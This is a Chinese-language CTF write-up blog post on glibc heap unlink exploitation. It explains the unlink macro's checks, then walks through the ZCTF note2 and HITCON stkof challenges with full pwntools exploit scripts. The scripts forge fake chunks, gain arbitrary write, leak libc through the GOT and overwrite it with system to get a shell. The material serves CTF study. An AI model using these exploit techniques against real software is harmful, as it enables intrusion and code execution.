Unlink利用

Unlink源码

/* Take a chunk off a bin list. Unlink操作 They are all free chunk*/
/*
1:检查两个记录chunk p size的字段是否相等
2:检查fd,bk是否回指chunk p
3:进行unlink
4:如果size属于smallbins范围内则结束该函数
*/
/* Take a chunk off a bin list av==arena P==目标 FD==下一个 BK==前一个*/
#define unlink(AV, P, BK, FD) {                                            \
    /*由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。*/
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");               \
    /*获取寻找其他两个chunk*/
    FD = P->fd;                                      \
    BK = P->bk;                                      \
    /*检查:要求fd->bk=p,以及bk->fd=p,两边指中间*/
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {                                      \
        FD->bk = BK;                                  \
        BK->fd = FD;                                  \

所以对于一般情况下的unlink如果我们能找到一个地方(ptr)指向p,并将p->fd = ptr-12 p->bk = ptr-8(32位),那么我们unlink的过程如下:

由于后进行BK->fd = FD;,所以最后:ptr->p == ptr,即最终p指向了:

所以在64位下ptr->p会指向ptr

2016 ZCTF note2

checksec

matrix@ubuntu:~/PWN/BUU$ checksec note2
[*] '/home/matrix/PWN/BUU/note2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

PIE关闭

IDA

菜单功能:

  • add:常规创建一个不大于0x80的chunk 其指针放在bss段,记录当时的输入size也保存在bss段
    • 读入数据时会排除%符号
    • 存在无限读取漏洞
  • show:常规输出bss指针所指向的内容
  • edit:先执行一次malloc(0xa0)来printf(tmp_chunk) 输出提示信息
    • 选择overwrite或者append但是不会超过所记录的size,并且读取后也会排除%
    • 之后直接free(tmp_chunk) 但其大小是0xa0
  • delete:bss_ptr_chunk置零 bss_size置零

add无限读取

a2:unsigned int
unsigned __int64 __fastcall sub_4009BD(__int64 a1, __int64 a2, char a3)
{
  char v4; // [rsp+Ch] [rbp-34h]
  char buf; // [rsp+2Fh] [rbp-11h]
  unsigned __int64 i; // [rsp+30h] [rbp-10h]
  ssize_t v7; // [rsp+38h] [rbp-8h]

  v4 = a3;
  for ( i = 0LL; a2 - 1 > i; ++i )              // 读取a2-1次
  {
    v7 = read(0, &buf, 1uLL);
    if ( v7 <= 0 )
      exit(-1);
    if ( buf == v4 )                            // 判断\n
      break;
    *(_BYTE *)(i + a1) = buf;
  }
  *(_BYTE *)(a1 + i) = 0;                       // 最后截断
  return i;
}

我们传进来的a2是unsigned int类型那么,a2-1根据类型转换,低精度转向高精度(unsigned int能表示的数更大)所以,a2-1的类型是unsigned int,那么如果我们的a2==0
则a2-1==-1 ====> 0xfffffff(unsigned int) 所以这个时候就可以无限循环读取。真滴膜拜那些大佬~
所以我们只要add(0) 会分配一个chunk(0x20) 而我们随时可以用edit输入任意数量的字符串,达到覆盖的目的,而在堆中覆盖就是个爸爸

数据分布:

edit

            strcpy(&dest, chunk_addr);
          v0 = (char *)malloc(0xA0uLL);
          tmp_chunk = v0;
          *(_QWORD *)v0 = 'oCweNehT';
          *((_QWORD *)v0 + 1) = ':stnetn';
          printf(tmp_chunk);                    // fmtstr
          read_buf((__int64)(tmp_chunk + 15), 0x90LL, 10);
          fugai(tmp_chunk + 15);
          v1 = tmp_chunk;
          v1[chunk_size - strlen(&dest) + 14] = 0;// 保证不会溢出
          strncat(&dest, tmp_chunk + 15, 0xFFFFFFFFFFFFFFFFLL);
          strcpy(chunk_addr, &dest);
          free(tmp_chunk);
          puts("Edit note success!");
        }

在分析这里的实现原理花了太长的时间了,虽然搞懂了,我还一直关注那个printf(tmp_chunk)fmtstr漏洞我以为这里会是突破口,但也不是不可能吧只是本人太菜了
或也许真的没必要。

思路

思路是人家的~,我能提取到的主要是这个:在这里bss段放的是chunk指针,而程序bss地址固定,就相当于我们有一个二级指针最终指向chunk p 这正好就是我们在unlink利用上的那个条件,所以最终如果实现
利用我们可以让这个二级指针指向自己地址-0x18,通过edit和show功能我们就可以修改bss段上的指针信息,实现任意地址读与写,任意地址的读写应该就是堆题里面的大爷了(doge)**

~思路

  • 构造三个 chunk,malloc(0x80)、malloc(0)和 malloc(0x80)
    • chunk0要进行Fakechunk构造来准备unlink,因为咱们改不了他的size字段
    • Fake_chunk的head组成为:p64(unkown) + p64(0x91)
  • 释放malloc(0),再malloc(0)这样后面放的是malloc(0x80),就可以覆盖了
  • 释放chunk2,在修改后的prev_size和size字段的加持下,会与Fakechunk合并,使得Fakechunk发生unlink

数据分布:
malloc(0x80)、malloc(0)和 malloc(0x80)

覆盖操作:

# edit the chunk1 to overwrite the chunk2
delete(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90)
newnote(0, content)

数据分布:

这时free掉chunk2就会根据prev_size和size追踪到Fake_chunk来进行合并操作,而引发Fakechunk的unlink。

最终使得:

.bss:0000000000602120 bss_ptr_chunk   dq ? 

指向0000000000602120 -0x18.然后我们edit chunk0的时候就是在0000000000602120 -0x18上面写数据了
我们可以再次覆盖bss_ptr_chunk为got地址,然后用show泄露地址,计算出system地址后再用edit向该got地址覆盖为system,像这么友好的got不用我说你也应该知道(atoi)

EXP

#+++++++++++++++++++note2.py++++++++++++++++++++
# -*- coding:utf-8 -*-                           
#Author: Squarer
#Time: Sat Oct 17 21:27:05 CST 2020
#+++++++++++++++++++note2.py++++++++++++++++++++
from pwn import*

context.log_level = 'debug'
context.arch = 'amd64'

def newnote(length,cont):
    sh.sendlineafter('option--->>\n','1')
    sh.sendlineafter('(less than 128)\n',str(length))
    sh.sendlineafter('Input the note content:\n',str(cont))

def show(id):
    sh.sendlineafter('option--->>\n','2')
    sh.sendlineafter('Input the id of the note:\n',str(id))

def edit(id,choice,cont):
    sh.sendlineafter('option--->>\n','3')
    sh.sendlineafter('Input the id of the note:\n',str(id))
    sh.sendlineafter('[1.overwrite/2.append]\n',str(choice))
    sh.sendlineafter('TheNewContents:',str(cont))

def delete(id):
    sh.sendlineafter('option--->>\n','4')
    sh.sendlineafter('Input the id of the note:\n',str(id))


elf = ELF('./note2')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# libc=ELF('/lib/i386-linux-gnu/libc.so.6')

sh = process('./note2')
#sh = remote('ip',port)
sh.sendlineafter('Input your name:\n','test')
sh.sendlineafter('Input your address:\n','test')
# chunk0: a fake chunk
ptr = 0x0000000000602120  #bss_ptr_chunk
fakefd = ptr - 0x18
fakebk = ptr - 0x10
content = 'a' * 8 + p64(0x61) + p64(fakefd) + p64(fakebk) + 'b' * 0x40 + p64(0x60)
#content = p64(fakefd) + p64(fakebk)
newnote(128, content)
# chunk1: a zero size chunk produce overwrite
newnote(0, 'a' * 8)
# chunk2: a chunk to be overwrited and freed
newnote(0x80, 'b' * 16)

# edit the chunk1 to overwrite the chunk2
delete(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90)
newnote(0, content)
# delete note 2 to trigger the unlink
# after unlink, ptr[0] = ptr - 0x18
delete(2)

# overwrite the chunk0(which is ptr[0]) with got atoi
atoi_got = elf.got['atoi']
content = 'a' * 0x18 + p64(atoi_got)
edit(0,1,content)

show(0)

sh.recvuntil('is ')
atoi_addr = sh.recvuntil('\n', drop=True)
print atoi_addr
atoi_addr = u64(atoi_addr.ljust(8, '\x00'))
print 'leak atoi addr: ' + hex(atoi_addr)

# get system addr
atoi_offest = libc.symbols['atoi']
libcbase = atoi_addr - atoi_offest
system_offest = libc.symbols['system']
system_addr = libcbase + system_offest

print 'leak system addr: ', hex(system_addr)

# overwrite the atoi got with systemaddr
content = p64(system_addr)
edit(0, 1, content)

# get shell
sh.recvuntil('option--->>')
sh.sendline('/bin/sh')
sh.interactive()

2014 HITCON stkof

checksec

matrix@ubuntu:~/PWN/how2heap/wiki_heap/unlink$ checksec stkof
[*] '/home/matrix/PWN/how2heap/wiki_heap/unlink/stkof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

PIE保护关闭

IDA

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int choice; // eax
  signed int v5; // [rsp+Ch] [rbp-74h]
  char nptr; // [rsp+10h] [rbp-70h]
  unsigned __int64 v7; // [rsp+78h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  while ( fgets(&nptr, 10, stdin) )
  {
    choice = atoi(&nptr);
    if ( choice == 2 )
    {
      v5 = edit();                              // size无限制
      goto LABEL_14;
    }
    if ( choice > 2 )
    {
      if ( choice == 3 )
      {
        v5 = delete();                          // 指针置零
        goto LABEL_14;
      }
      if ( choice == 4 )
      {
        v5 = unkwon();
        goto LABEL_14;
      }
    }
    else if ( choice == 1 )
    {
      v5 = add();                               // malloc(size),该指针放在bss段上
      goto LABEL_14;
    }
    v5 = -1;
LABEL_14:
    if ( v5 )
      puts("FAIL");
    else
      puts("OK");
    fflush(stdout);
  }
  return 0LL;
}

这里没有像其他菜单题一样选项提示明显,但还是一个菜单题

  • choice1:add malloc(size) 并将指针记录在bss段上
  • choice2:对某个chunk内容改写,但是size是无限制的,存在堆溢出漏洞
  • choice3:free某个chunk并且将bss的对应记录清除

这里注意:执行fgets函数,以及add中的printf都会默认调用malloc来分配一块内存作为缓冲区,像这样的搅屎棍最好提前给他们分配好

思路

由于bss段存放chunk指针,程序存在堆溢出漏洞我们可以使用unlink来使得chunk指针指向自己的bss段,从而用edit修改bss段数据(chunk指针)实现任意地址读写

EXP

#+++++++++++++++++++stkof.py++++++++++++++++++++
# -*- coding:utf-8 -*-                           
#Author: Squarer
#Time: Sun Oct 18 10:52:12 CST 2020
#+++++++++++++++++++stkof.py++++++++++++++++++++
from pwn import*
from LibcSearcher import*

context.log_level = 'debug'
context.arch = 'amd64'

elf = ELF('./stkof')
#libc = ELF('')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# libc=ELF('/lib/i386-linux-gnu/libc.so.6')

def add(size):
    sh.sendline('1') #choice 1
    sh.sendline(str(size))

def edit(index,new_size,cont):
    sh.sendline('2') #choice 2
    sh.sendline(str(index))
    sh.sendline(str(new_size))
    sh.sendline(str(cont))

def delete(index):
    sh.sendline('3')
    sh.sendline(str(index))


sh = process('./stkof')
sh = remote('node3.buuoj.cn',27508)
#for cache
add(0)
#chunk2 chunk3 chunk4
add(0x80)
add(0x80)
add(0)  #prevent consolidate

bss_ptr_chunk = 0x602150
fake_head = p64(0) + p64(0x81)
fake_fd = p64(bss_ptr_chunk - 0x18)
fake_bk = p64(bss_ptr_chunk - 0x10)

fake_chunk = fake_head + fake_fd + fake_bk
padding = 'A'*(0x80-0x20)
padding += p64(0x80)    #chunk3_prev_size  
padding += p64(0x90)    #chunk3_size

content = fake_chunk + padding
edit(2,len(content)+1,content)
#gdb.attach(sh)
delete(3)
#gdb.attach(sh)

content = 'A'*0x10
content += p64(elf.got['free'])
content += p64(elf.got['atoi'])*2
edit(2,len(content)+1,content)
#gdb.attach(sh,'b*0x0400A72')
edit(1,8,p64(elf.plt['printf']))
#gdb.attach(sh)
delete(2)
sh.recvuntil('FAIL\n')
atoi_addr = u64(sh.recv(6) + '\x00'*2)
print "atoi_addr ====>" + str(hex(atoi_addr))

libc_L = LibcSearcher('atoi',atoi_addr)
libc_L_addr = atoi_addr - libc_L.dump('atoi')
system_L_addr = libc_L_addr + libc_L.dump('system')

libc_addr = atoi_addr - libc.symbols['atoi']
system_addr = libc_addr + libc.symbols['system']
print "system_addr =====>" + str(hex(system_addr))
#gdb.attach(sh)
edit(3,8,p64(system_L_addr))

sh.interactive()

总结

在unlink利用这里主要学到的是针对bss上存放指针的情况,然后就是 做堆题得有大局观,要留意高危漏洞像这里的无限读取


  转载请注明: Squarer Unlink利用

 上一篇
Fastbin Attack Fastbin Attack
介绍fastbin attack 是一类漏洞的利用方法,是指所有基于 fastbin 机制的漏洞利用方法。这类利用的前提是: 存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞 漏洞发生于 fastbin 类型的
2020-10-20
下一篇 
free函数关键源码分析 free函数关键源码分析
因为free源代码和malloc源码都是在malloc.c定义的,所以用到的宏几乎差不多这里就不列出来了,详情见上一篇文章:malloc关键源码分析 __libc_free同malloc一样我们使用的free函数也是封装过的 void __
2020-10-15
  目录